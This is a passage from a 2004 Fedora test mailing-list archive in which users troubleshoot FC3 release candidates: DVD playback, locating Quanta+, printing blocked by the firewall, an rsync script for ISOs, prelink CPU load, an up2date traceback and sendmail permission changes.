libdvdplay-1.0.1-4.1.fc2.fr.i386.rpm libdvdread-0.9.4-5.1.fc2.fr.i386.rpm And totem plays DVD's just fine for me. http://tettnang.freshrpms.net/ <------ this is your friend :-) Let me know if this doesn't work. Cheers Aaron On Mon, 2004-11-01 at 19:29 -0500, Lee Connell wrote: > I installed Totem via yum, I also installed libdvdcss from rpm.pbone.net and > I still can't play dvd's, it complains that I don't have the appropriate > plugins available, has anyone gotten totem to work? Any ideas to help me > get it working as I'm excited that fedora/redhat finally added a dvd/media > player to the distro. > > Lee > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From graydon at epiphyte.net Tue Nov 2 01:17:37 2004 From: graydon at epiphyte.net (Graydon) Date: Mon, 1 Nov 2004 20:17:37 -0500 Subject: Where is Quanta+? In-Reply-To: <4186B295.7080903@earthlink.net> References: <4186B295.7080903@earthlink.net> Message-ID: <20041102011737.GD17356@uniserve.com> On Mon, Nov 01, 2004 at 04:03:01PM -0600, Gerry Tool scripsit: > There seems to be no Quanta+ HTML editor available in FC3RC5. I > expected to find it after my normal custom selections, but it is not > installed. I cannot find it in the lists for Add/Remove Programs, either. > > Has it been dropped, or am I missing something? This is a very useful > program. It's in kdewebdev-3.3.0-1 Along with *other* useful programs, like 'tidy'. apt-cache query does keyword searches -- apt-cache search quanta returns: kdewebdev - WEB Development package for the K Desktop Environment. Which is how I found it. :) From lux at diesel-research.com Tue Nov 2 01:23:30 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 18:23:30 -0700 Subject: Where is Quanta+? In-Reply-To: <20041102011737.GD17356@uniserve.com> References: <4186B295.7080903@earthlink.net> <20041102011737.GD17356@uniserve.com> Message-ID: <1099358610.4936.16.camel@localhost.localdomain> Which repositories are you using ? How did you get apt installed on your machine ? On Mon, 2004-11-01 at 20:17 -0500, Graydon wrote: > On Mon, Nov 01, 2004 at 04:03:01PM -0600, Gerry Tool scripsit: > > There seems to be no Quanta+ HTML editor available in FC3RC5. I > > expected to find it after my normal custom selections, but it is not > > installed. I cannot find it in the lists for Add/Remove Programs, either. > > > > Has it been dropped, or am I missing something? This is a very useful > > program. > > It's in kdewebdev-3.3.0-1 > > Along with *other* useful programs, like 'tidy'. > > apt-cache query does keyword searches -- > > apt-cache search quanta returns: > > kdewebdev - WEB Development package for the K Desktop Environment. > > Which is how I found it. :) > From rpaiz at simpaticus.com Tue Nov 2 01:36:18 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 19:36:18 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> Message-ID: <1099359379.3557.110.camel@localhost.localdomain> On Mon, 2004-11-01 at 18:36 -0600, Satish Balay wrote: > As you point out - this causes x11 dependency on up2date. I agree this > is a bug that should be fixed. > Fantastic... how? > Ok - among all these packages the false (synaptics) depencecy is > causing grief only with up2date. > Yes, this is precisely true. My phrasing was poor, since I meant to say that in order to keep up2date, I had to keep all these other packages. Could you take a look at the doc to which I pointed you in the last message, and see if you can recommend some solutions to me? Specifically the second table of "controversial" package removals... I had to lose up2date to get rid of these 15MB, I had to lose yum to get rid of another 31MB, and I had to lose passwd to get rid of another 10MB. That's three crucial packages lost, but 56MB of stuff deleted. What can I proactively suggest to the Fedora packagers and developers that will help all of us reduce the packages in a minimal install? Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From tibbs at math.uh.edu Tue Nov 2 02:23:19 2004 From: tibbs at math.uh.edu (Jason L Tibbitts III) Date: Mon, 01 Nov 2004 20:23:19 -0600 Subject: Where is Quanta+? In-Reply-To: <4186B295.7080903@earthlink.net> (Gerry Tool's message of "Mon, 01 Nov 2004 16:03:01 -0600") References: <4186B295.7080903@earthlink.net> Message-ID: >>>>> "GT" == Gerry Tool writes: GT> There seems to be no Quanta+ HTML editor available in FC3RC5. It sure seems to be there; the package is called "kdewebdev" and contains various KDE web development tools (Quanta, kxsldbg, klinkstatus) along with kommander. - J< From lists at sapience.com Tue Nov 2 03:29:38 2004 From: lists at sapience.com (Mail Lists) Date: Mon, 1 Nov 2004 22:29:38 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099350686.25045.137.camel@localhost.localdomain> References: <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> <1099350686.25045.137.camel@localhost.localdomain> Message-ID: <20041102032937.GB31262@sapience.com> To sign or not to sign - that is the quesion - or not. Whether it is nobler ... oh never mind ... Guys, shee enuff already. What is the big deal here. Its completely obvious that some way of reducing spoofed mirrors is a good thing - signing (even) rawhide is a good thing - sure its not perfect but it helps. Use a different key than is used for released versions if its your pleasure. Change the key every month or every new develop cycle - whatever makes you happy. Noone is putting any more significance beyond a little added safety check that lessens the chance of bad things - seems enormously rational. g/ On Mon, Nov 01, 2004 at 06:11:26PM -0500, Peter Jones wrote: > On Mon, 2004-11-01 at 14:51 -0600, Satish Balay wrote: > From micoots at yahoo.com Tue Nov 2 03:29:19 2004 From: micoots at yahoo.com (Michael Mansour) Date: Tue, 2 Nov 2004 14:29:19 +1100 (EST) Subject: FC3rc5 In-Reply-To: <24E92196-2C2B-11D9-A4C0-000A9566A350@DDG.com> Message-ID: <20041102032919.85160.qmail@web50302.mail.yahoo.com> Hi, > >>> On Oct 30, 2004, at 23:51, Andrew W. Donoho > wrote: > >>>> I tried to upgrade an FC2 SMP i686 system on > an LVM managed disk. > >>>> The system did not update grub properly. When I > hand edited grub, > >>>> the > >>>> system then panicked. I'll report more later > after I've had time to > >>>> dig in deeper. > >>> > >>> > >>> Folks, > >>> > >>> I tried re-updating the system. I got the same > error: > >>> > >>> After NASH loads: > >>> > >>> mount: error 6 mounting ext3 > >>> mount: error 2 mounting none > >>> switchroot: mount failed: 22 > >>> umount /initrd/dev failed 2 > >>> Kernel panic - not syncing: Attempted to kill > init! > > > >>> I'll keep the system this way for awhile > waiting for someone's > >>> response to these messages. Otherwise I'll scrub > the drive and > >>> restart > >>> from scratch. Bear in mind that this system was > running fine under > >>> FC2. > >> > >> Folks, > >> > >> Does anybody want to know what went wrong > upgrading my system from > >> FC2 > >> -> FC3rc5? I don't know where to start sleuthing > to tell you what went > >> wrong. The system boots fine with the FC3rc5 > Rescue disk. Therefore, I > >> can go traipsing through the file system. So a > response from someone, > >> perhaps FC3rc5 test requester, Mr. Lee, would be > appreciated. Or was > >> this community testing request hoo-ha just a > waste of all of our time? > > > > We'd need more information on the problem, and > some sort of diagnosis, > > before a fix would be possible. We also need a > report in bugzilla with > > these details. > > > > If it's not in bugzilla, it's not a bug, :) > > > OK, the above is repeated in Bugzilla #: 137807. I > would be happy to > get any log/config file you need off of the system. > If the rescue CD > supports SSH, you could even log into the machine as > it has its own > public IP address. > > Andrew Does the rescue CD support SSH? I tried rescue mode from FC3T3 disc 1 and it didn't have support for it. Although I could have used since the problem we were troubleshooting on the server could have been looked at by the authors. Michael. Find local movie times and trailers on Yahoo! Movies. http://au.movies.yahoo.com From diahron at earthlink.net Tue Nov 2 03:34:24 2004 From: diahron at earthlink.net (Diahron Grismore) Date: Mon, 1 Nov 2004 21:34:24 -0600 (GMT-06:00) Subject: Latest FC3RC? Message-ID: <30988346.1099366465201.JavaMail.root@thecount.psp.pas.earthlink.net> I have been away from my computer for a while and I would like to know what is the latest 'rc#' and from where can I download it. I would like to get it for both, an i386-32bit and 64bit system, to test. Thanks for the info in advance. From P.R.Schaffner at IEEE.org Tue Nov 2 03:38:16 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Mon, 01 Nov 2004 22:38:16 -0500 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <4183F00C.5040802@earthlink.net> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> Message-ID: <1099366696.3775.20.camel@tabb1.tabb> On Sat, 2004-10-30 at 14:48 -0500, Gerry Tool wrote: > Stephen J. Smoogen wrote: > > >On Sat, 30 Oct 2004 13:24:09 -0500, Gerry Tool wrote: ... snip ... > >>On a tip from Steven Schwartz, I found that if I execute > >> > >>/sbin/service iptables off Possibly you mean # service iptables stop and # chkconfig iptables off to keep it from coming back on the next reboot. > >> > >>printing to the remote LPD server works. > >> > >>Of course this is not a valid fix. Any ideas of a correct way to solve > >>the problem? > > > >What level of the firewall did you select on the install. It might be > >a valid fix if you set the highest level :). > > > I accepted the default. Steven Schwartz came up with a change to > /etc/sysconfig/iptables that allows my print server to finally work. > See the most recent comment in bugzilla #133064. > Setting eth0 as a trusted device (comment 33 in BZ 133064) is essentially the same as turning off the firewall if that is your only interface. Good firewall rules would be preferable, unless you REALLY trust your hardware firewall. Which begs the question - what is a good firewall tool for FC3? Have been unable to get firestarter to work. Compiles, but hangs when executed. Phil From gstool at earthlink.net Tue Nov 2 04:29:53 2004 From: gstool at earthlink.net (Gerry Tool) Date: Mon, 01 Nov 2004 22:29:53 -0600 Subject: Latest FC3RC? In-Reply-To: <30988346.1099366465201.JavaMail.root@thecount.psp.pas.earthlink.net> References: <30988346.1099366465201.JavaMail.root@thecount.psp.pas.earthlink.net> Message-ID: <41870D41.20103@earthlink.net> Diahron Grismore wrote: >I have been away from my computer for a while and I would like to know what is the latest 'rc#' and from where can I download it. I would like to get it for both, an i386-32bit and 64bit system, to test. Thanks for the info in advance. > > > http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/i386/iso/ or ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/i386/iso/ have the isos for FC3 RC5. Gerry From rpaiz at simpaticus.com Tue Nov 2 04:53:21 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 22:53:21 -0600 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <1099366696.3775.20.camel@tabb1.tabb> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> Message-ID: <1099371201.3557.139.camel@localhost.localdomain> On Mon, 2004-11-01 at 22:38 -0500, Phil Schaffner wrote: > Setting eth0 as a trusted device (comment 33 in BZ 133064) is > essentially the same as turning off the firewall if that is your only > interface. Good firewall rules would be preferable, unless you REALLY > trust your hardware firewall. Which begs the question - what is a good > firewall tool for FC3? Have been unable to get firestarter to work. > Compiles, but hangs when executed. > Shorewall (www.shorewall.net). Text files to hold configuration, so no cute GUI but you do get to access and modify it via SSH. Secure, reliable, easy to learn and use, very very powerful. 5-star tool. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gene.heskett at verizon.net Tue Nov 2 05:37:19 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Tue, 2 Nov 2004 01:37:19 -0400 Subject: handy iso upgrade rsync script In-Reply-To: <1099296807.3576.1.camel@scrappy.netlyncs.com> References: <200410292031.13871@x-face> <200411010032.29235.gene.heskett@verizon.net> <1099296807.3576.1.camel@scrappy.netlyncs.com> Message-ID: <200411020037.19178.gene.heskett@verizon.net> On Monday 01 November 2004 03:13, Mike Chambers wrote: >On Mon, 2004-11-01 at 01:32 -0400, Gene Heskett wrote: >> I have the RC3 images sitting in the target local directory, but >> they don't appear to be getting updated, instead from the >> appearance of my downloads directory after this has been running >> for about 10 minutes, it apparently is going to download a fresh >> copy of everything, but with a serial number appended to the end, >> and a . (dot) prefixed to the newer filename. This doesn't strike >> me as the expected rsync operation. > >Are the images the exact same names as the ones your downloading? > >-- >Mike Chambers >Madisonville, KY > >"It's always better to hurt a little now, than to hurt a lot later!" Yup, got it figured out, major drain bamage here. Its actually making a fresh, edited copy of it, and when its done, the old one is nuked and the new one is renamed to the original. Somebody should tell me "well, duh!" :-) -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From gene.heskett at verizon.net Tue Nov 2 05:39:32 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Tue, 2 Nov 2004 01:39:32 -0400 Subject: handy iso upgrade rsync script In-Reply-To: <1099296976.3576.3.camel@scrappy.netlyncs.com> References: <200410292031.13871@x-face> <1099296807.3576.1.camel@scrappy.netlyncs.com> <1099296976.3576.3.camel@scrappy.netlyncs.com> Message-ID: <200411020039.32347.gene.heskett@verizon.net> On Monday 01 November 2004 03:16, Mike Chambers wrote: >On Mon, 2004-11-01 at 02:13 -0600, Mike Chambers wrote: >> On Mon, 2004-11-01 at 01:32 -0400, Gene Heskett wrote: >> > I have the RC3 images sitting in the target local directory, but >> > they don't appear to be getting updated, instead from the >> > appearance of my downloads directory after this has been running >> > for about 10 minutes, it apparently is going to download a fresh >> > copy of everything, but with a serial number appended to the >> > end, and a . (dot) prefixed to the newer filename. This doesn't >> > strike me as the expected rsync operation. >> >> Are the images the exact same names as the ones your downloading? > >You also might want to post your rsync command, in case there is >something wrong with it. > ------------------- #!/bin/sh rsync -av --progress --partial --stats sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386-disc** /usr/dlds-misc/FC3/ rsync -av --progress --partial --stats sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386-SRPMS-disc** /usr/dlds-misc/FC3/rsync -av --progress --partial --stats sunsite.mff.cuni.cz::ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/MD5SUM /usr/dlds-misc/FC3/ ------------------- Word wrapped by kmail of course. :( >-- >Mike Chambers >Madisonville, KY > >"It's always better to hurt a little now, than to hurt a lot later!" -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From mitch48 at sbcglobal.net Tue Nov 2 08:18:02 2004 From: mitch48 at sbcglobal.net (Nifty Hat Mitch) Date: Tue, 2 Nov 2004 00:18:02 -0800 Subject: Gnome and geometry flags FC3 changes from FC2 In-Reply-To: <4184C346.9070201@homer.se> References: <20041031072240.GA1058@xtl1.xtl.tenegg.com> <4184C346.9070201@homer.se> Message-ID: <20041102081802.GA15809@xtl1.xtl.tenegg.com> On Sun, Oct 31, 2004 at 11:49:42AM +0100, Lars E. Pettersson wrote: > On 10/31/2004 08:22 AM, Nifty Hat Mitch wrote: > >I have a launcher to launch gnome-terminal with a specific > >geometry on FC2 that works thus: > > > > gnome-terminal -geometry=80x34 > > Are you sure about that? Just tested by changing my terminal launcher in > FC2 and I had to use double-dash. Help for gnome-terminal gives (in FC2) > > []$ gnome-terminal --help | grep geom > --geometry=GEOMETRY X geometry specification User error (me) .... I knew I disliked variable width fonts for setup tools for a reason. I looked at it again and when I walked the cursor through my 'old' FC2 setup with the arrow key I could see the doubling of the dashes. Thank you for checking. -- T o m M i t c h e l l May your cup runneth over with goodness and mercy and may your buffers never overflow. From rmy at tigress.co.uk Tue Nov 2 09:50:22 2004 From: rmy at tigress.co.uk (Ron Yorston) Date: Tue, 2 Nov 2004 09:50:22 GMT Subject: Issue in glibc in FC3T3 ? Message-ID: <200411020950.JAA18845@internal.tigress.co.uk> >Elliot Lee wrote: >On Thu, 28 Oct 2004, Kim Lux (Mr.) wrote: > >> I did a freshen of both Qt and Glibc and now I've got prelink and ld >> running as root !!!!???? Prelink is stealing all my cpu cycles. What is >> up with that ? I finally had to kill it.. > >prelink speeds up app startup - it does the work once to save startup >times repeatedly. I'm not convinced, for my pattern of usage at least, that the game is worth the candle. On my laptop I start my desktop, a few xterms and maybe Mozilla, then leave them running. Any time that might be saved on startup is outweighed by the inconvenience of having the system become unresponsive when anacron kicks in to perform the prelinking. Which always seems to happen at the most awkward moment. (Yes, I know I can turn it off. And I have.) Prelink seems to do an enormous amount of work when it runs. Have the developers checked that all of this effort is really necessary? What might help would be the ability to limit the resources (CPU, disk I/O, whatever) that are used by background processes. Nice is nice, but not powerful enough. Something like cpucap http://www.rshk.co.uk/projects/cpucap/ would seem to be a better option. Ron From fedora at nodata.co.uk Tue Nov 2 09:54:37 2004 From: fedora at nodata.co.uk (nodata) Date: Tue, 2 Nov 2004 10:54:37 +0100 (CET) Subject: Issue in glibc in FC3T3 ? In-Reply-To: <200411020950.JAA18845@internal.tigress.co.uk> References: <200411020950.JAA18845@internal.tigress.co.uk> Message-ID: <5824.213.164.3.90.1099389277.squirrel@213.164.3.90> >>Elliot Lee wrote: >>On Thu, 28 Oct 2004, Kim Lux (Mr.) wrote: >> >>> I did a freshen of both Qt and Glibc and now I've got prelink and ld >>> running as root !!!!???? Prelink is stealing all my cpu cycles. What >>> is >>> up with that ? I finally had to kill it.. >> >>prelink speeds up app startup - it does the work once to save startup >>times repeatedly. > > I'm not convinced, for my pattern of usage at least, that the game is > worth the candle. On my laptop I start my desktop, a few xterms and > maybe Mozilla, then leave them running. Any time that might be saved > on startup is outweighed by the inconvenience of having the system become > unresponsive when anacron kicks in to perform the prelinking. Which > always seems to happen at the most awkward moment. (Yes, I know I can > turn it off. And I have.) > > Prelink seems to do an enormous amount of work when it runs. Have the > developers checked that all of this effort is really necessary? > > What might help would be the ability to limit the resources (CPU, disk > I/O, whatever) that are used by background processes. Nice is nice, but > not powerful enough. Something like cpucap > > http://www.rshk.co.uk/projects/cpucap/ > > would seem to be a better option. Is there a potential for lots of race conditions if multiple resources (i.e. all of cpu, memory and disk) are throttled? > > Ron > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From oliver at firstfloor.org Tue Nov 2 10:03:18 2004 From: oliver at firstfloor.org (oliver frommel) Date: Tue, 2 Nov 2004 11:03:18 +0100 Subject: Language selection problems (IIIMF, too) Message-ID: <20041102100318.GB28289@firstfloor.org> Hello, first I upgraded my Fedora 2 and experienced some problems with languages and input methods. Just to make sure it's not a result of the upgrade I installed fresh from the RC5 DVD. When I install iiimf-gnome-im-switcher and put it into the panel I can't switch to another language. I can't even add new languages cause the dialog "Add or remove languages" doesn't show a single language on either side. This time I've selected several languages (among others Japanese) during installation, so they should be there at least. Last time I had only one language installed and wasn't able to install another language post-install. How do I do so in principle? In the system dialogue where you can select the default language only the languages selected during install show up. There's no button to install new languages however .. thanks for your help Oliver From fedora at nodata.co.uk Tue Nov 2 10:14:23 2004 From: fedora at nodata.co.uk (nodata) Date: Tue, 2 Nov 2004 11:14:23 +0100 (CET) Subject: Language selection problems (IIIMF, too) In-Reply-To: <20041102100318.GB28289@firstfloor.org> References: <20041102100318.GB28289@firstfloor.org> Message-ID: <8896.213.164.3.90.1099390463.squirrel@213.164.3.90> > Hello, > > first I upgraded my Fedora 2 and experienced some problems with languages > and input methods. Just to make sure it's not a result of the upgrade > I installed fresh from the RC5 DVD. > > When I install iiimf-gnome-im-switcher and put it into the panel I can't > switch to another language. I can't even add new languages cause > the dialog "Add or remove languages" doesn't show a single language > on either side. > > This time I've selected several languages (among others Japanese) > during installation, so they should be there at least. > Last time I had only one language installed and wasn't able to > install another language post-install. How do I do so in principle? > In the system dialogue where you can select the default language > only the languages selected during install show up. There's no > button to install new languages however .. "Improving post install language addition is planned for post FC3. At the moment the following *may* work with the caveats about additional packages not being installed - eg fonts, etc - remove the SUPPORTED line from /etc/sysconfig/i18n and rerun system-config-language." -- https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136648 > > thanks for your help > Oliver > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From mike at netlyncs.com Tue Nov 2 10:18:26 2004 From: mike at netlyncs.com (Mike Chambers) Date: Tue, 02 Nov 2004 04:18:26 -0600 Subject: Gnome and geometry flags FC3 changes from FC2 In-Reply-To: <20041102081802.GA15809@xtl1.xtl.tenegg.com> References: <20041031072240.GA1058@xtl1.xtl.tenegg.com> <4184C346.9070201@homer.se> <20041102081802.GA15809@xtl1.xtl.tenegg.com> Message-ID: <1099390707.3826.0.camel@scrappy.netlyncs.com> On Tue, 2004-11-02 at 00:18 -0800, Nifty Hat Mitch wrote: > gnome-terminal -geometry=80x34 Can you use something else to get the window to maximize on open instead of doing it manually like above? Otherwise, I have to use like 115x35 or close to that. -- Mike Chambers Madisonville, KY "It's always better to hurt a little now, than to hurt a lot later!" From oliver at firstfloor.org Tue Nov 2 11:24:17 2004 From: oliver at firstfloor.org (oliver frommel) Date: Tue, 2 Nov 2004 12:24:17 +0100 Subject: VNC/GDM Message-ID: <20041102112417.GA28602@firstfloor.org> Hi, is the GDM-builtin VNC working in RC5? The procedure does not work as described in http://www.redhat.com/archives/fedora-desktop-list/2004-June/msg00007.html However the Release Notes for 2.91 test2 say it includes the VNC stuff. When I start the vncserver by hand I get a connection refused on the client. best thanks Oliver From douglas.furlong at firebox.com Tue Nov 2 12:04:34 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Tue, 02 Nov 2004 12:04:34 +0000 Subject: Where is Quanta+? In-Reply-To: <4186D63E.6030501@earthlink.net> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> <1099353841.12668.4.camel@nemesis.astradine.net> <1099354012.4936.8.camel@localhost.localdomain> <4186D63E.6030501@earthlink.net> Message-ID: <1099397074.11027.0.camel@douglas-furlong.firebox.com> On Mon, 2004-11-01 at 18:35 -0600, Gerry Tool wrote: > I installed kdwebdev from Add/Remove Applications > Graphical Internet, > and indeed, Quanta + 3.3 is now available. > > How did you know that, Bart? > > Gerry > yum is your friend. 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Can easily be fixed by changing file to filed in /usr/sbin/up2date line 89 From fedora at nodata.co.uk Tue Nov 2 12:35:10 2004 From: fedora at nodata.co.uk (nodata) Date: Tue, 2 Nov 2004 13:35:10 +0100 (CET) Subject: up2date --help In-Reply-To: <63a30f4d041102042790f5bc4@mail.gmail.com> References: <63a30f4d041102042790f5bc4@mail.gmail.com> Message-ID: <49088.213.164.3.90.1099398910.squirrel@213.164.3.90> > up2date --help is STILL BROKEN > Submitted a bug report, mentioned it on this list, but nobody seems to > care. > Or am I the only person having this problem? Me. > > Please try to reproduce it... > This one has a huge user experience value. Okay.. "It's not a bug until it's in bugzilla." What's the bug #? > > up2date --help gives me a traceback... > Can easily be fixed by changing file to filed in /usr/sbin/up2date line 89 > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From fedora at kjb.dds.nl Tue Nov 2 12:38:16 2004 From: fedora at kjb.dds.nl (Klaasjan Brand) Date: Tue, 02 Nov 2004 13:38:16 +0100 Subject: Issue in glibc in FC3T3 ? In-Reply-To: <200411020950.JAA18845@internal.tigress.co.uk> References: <200411020950.JAA18845@internal.tigress.co.uk> Message-ID: <1099399096.25249.18.camel@topicus6> > >Elliot Lee wrote: > >On Thu, 28 Oct 2004, Kim Lux (Mr.) wrote: > > > >> I did a freshen of both Qt and Glibc and now I've got prelink and ld > >> running as root !!!!???? Prelink is stealing all my cpu cycles. What is > >> up with that ? I finally had to kill it.. > > > >prelink speeds up app startup - it does the work once to save startup > >times repeatedly. Then isn't it more convenient to run it when installing packages using rpm (when I expect some thrashing) and let the user decide if and when to prelink manually installed packages? Klaasjan From folke.lemaitre at gmail.com Tue Nov 2 12:50:16 2004 From: folke.lemaitre at gmail.com (Folke Lemaitre) Date: Tue, 2 Nov 2004 13:50:16 +0100 Subject: up2date --help In-Reply-To: <49088.213.164.3.90.1099398910.squirrel@213.164.3.90> References: <63a30f4d041102042790f5bc4@mail.gmail.com> <49088.213.164.3.90.1099398910.squirrel@213.164.3.90> Message-ID: <63a30f4d04110204506f808d04@mail.gmail.com> Bugzilla entry: 137279 Glad that I am not the only one... ,Folke PS: Sorry if I've sent this one twice On Tue, 2 Nov 2004 13:35:10 +0100 (CET), nodata wrote: > > up2date --help is STILL BROKEN > > Submitted a bug report, mentioned it on this list, but nobody seems to > > care. > > Or am I the only person having this problem? > Me. > > > > > Please try to reproduce it... > > This one has a huge user experience value. > Okay.. > > "It's not a bug until it's in bugzilla." > What's the bug #? > > > > > up2date --help gives me a traceback... > > Can easily be fixed by changing file to filed in /usr/sbin/up2date line 89 > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > -- Home Location: http://www.mappy.com/PlanPerso/flemaitr/0 From fedora at wir-sind-cool.org Tue Nov 2 13:02:37 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 2 Nov 2004 14:02:37 +0100 Subject: up2date --help In-Reply-To: <63a30f4d041102042790f5bc4@mail.gmail.com> References: <63a30f4d041102042790f5bc4@mail.gmail.com> Message-ID: <20041102140237.7f8fdd41.fedora@wir-sind-cool.org> On Tue, 2 Nov 2004 13:27:13 +0100, Folke Lemaitre wrote: > up2date --help is STILL BROKEN > Submitted a bug report, mentioned it on this list, but nobody seems to care. > Or am I the only person having this problem? > > Please try to reproduce it... > This one has a huge user experience value. > > up2date --help gives me a traceback... Confirmed. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 1.36 0.93 0.98 From twoerner at redhat.com Tue Nov 2 13:42:07 2004 From: twoerner at redhat.com (Thomas Woerner) Date: Tue, 02 Nov 2004 14:42:07 +0100 Subject: sendmail dropping outgoing email on the floor In-Reply-To: <20041101230945.GA8424@rome.puchol.com> References: <20041027230908.GA31600@rome.puchol.com> <1098929044.18072.342.camel@serendipity.dogma.lan> <20041028054226.GA529@rome.puchol.com> <20041101230945.GA8424@rome.puchol.com> Message-ID: <41878EAF.9070706@redhat.com> Carlos Puchol wrote: > self follow up ... > > carlos puchol wrote: > >>[22:27:55](3)rome:cpg# ll -L /usr/sbin/sendmail* >>-rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail >>-rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim >>-rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix >>-rwxr-sr-x 1 root smmsp 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail >>[22:28:01](3)rome:cpg# >> >>i can't. so -- i am baffled as to how the user/group and >>the setuid was changed. i am 100% certain i did not change the >>permissions or user/group by hand. > > > after rebooting a couple of times > i got the clientmqueue error again today and mail got dropped! > admittedly i didn't notice before because i did not try > sending email from the machine subject to this bug. > > the permissions to /usr/sbin/sendmail.sendmail have > gone _again_ to a user (my user - cpg)!!! > > [15:02:38](1)rome:cpg# ll -L /usr/sbin/sendmail* > -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail > -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim > -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix > -rwxr-xr-x 1 cpg users 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail > [15:02:40](1)rome:cpg# > First of all: Why is /usr/sbin/sendmail a copy and not a soft-link? alternatives generates soft-links. Have you made this change by hand? And at the moment you are using a copy of postfix and not sendmail. > i don't know how this can happen. this seems quite dangerous! > thankfully the setuid is no longer there, but this seems awfully > "close" to a security issue - some process is (incorrectly) changing > permissions of sensitive system files. > > more later when i have a chance to debug this ... > This is really strange. I have not seen this before. > -c > -- Thomas Woerner Software Engineer Phone: +49-711-96437-310 Red Hat GmbH Fax : +49-711-96437-111 Hauptstaetterstr. 58 Email: Thomas Woerner D-70178 Stuttgart Web : http://www.redhat.de/ From twoerner at redhat.com Tue Nov 2 13:45:34 2004 From: twoerner at redhat.com (Thomas Woerner) Date: Tue, 02 Nov 2004 14:45:34 +0100 Subject: sendmail dropping outgoing email on the floor In-Reply-To: <41878EAF.9070706@redhat.com> References: <20041027230908.GA31600@rome.puchol.com> <1098929044.18072.342.camel@serendipity.dogma.lan> <20041028054226.GA529@rome.puchol.com> <20041101230945.GA8424@rome.puchol.com> <41878EAF.9070706@redhat.com> Message-ID: <41878F7E.1020309@redhat.com> >> [15:02:38](1)rome:cpg# ll -L /usr/sbin/sendmail* >> -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail >> -rwsr-xr-x 1 root root 2089729 Sep 13 09:20 /usr/sbin/sendmail.exim >> -rwxr-xr-x 1 root root 141344 Aug 5 08:03 /usr/sbin/sendmail.postfix >> -rwxr-xr-x 1 cpg users 748296 Sep 1 03:20 /usr/sbin/sendmail.sendmail >> [15:02:40](1)rome:cpg# >> > > First of all: Why is /usr/sbin/sendmail a copy and not a soft-link? > alternatives generates soft-links. Have you made this change by hand? > > And at the moment you are using a copy of postfix 